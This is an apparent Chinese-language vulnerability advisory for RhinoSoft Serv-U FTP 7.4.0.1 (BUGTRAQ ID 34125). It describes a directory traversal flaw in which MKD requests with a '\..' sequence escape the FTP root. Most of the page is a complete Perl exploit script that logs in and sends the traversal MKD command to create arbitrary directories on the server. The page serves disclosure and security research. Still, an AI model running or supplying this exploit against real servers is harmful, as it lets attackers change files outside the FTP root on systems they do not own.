影响版本:
RhinoSoft Serv-U 7.4.0.1
漏洞描述:
BUGTRAQ ID: 34125
Serv-U FTP是一款FTP服务程序。
如果远程攻击者向Serv-U FTP服务器发送了包含有“\\..”字符序列的MKD请求的话,就可以通过目录遍历攻击绕过FTP root限制在系统上创建任意目录。<*参考
Jonathan Salwan (submit@shell-storm.org)
http://www.sebug.net/exploit/5986/
*>
SEBUG安全建议:
厂商补丁:
RhinoSoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.serv-u.com/
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
#!/usr/bin/perl
# Soft : FTP Serv-U
# Version : v7.4.0.1
#
# A vulnerability is caused due to an input validation error when handling FTP "MKD"
# requests. This can be exploited to escape the FTP root and create arbitrary directory on
# the system via directory traversal attacks using the "\.." character sequence.
#
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org
use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: FTP Serv-U\n";
if (@ARGV < 4)
{
print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>\n";
print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\\\dir\n";
exit;
}
$ip = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
$dir = $ARGV[4];
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";
print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";
print $socket "USER $user\r\n";
print $socket "PASS $pass\r\n";
print $socket "MKD $dir\r\n";
sleep(3);
close($socket);
print "[+]Done! directory $dir has been created\n";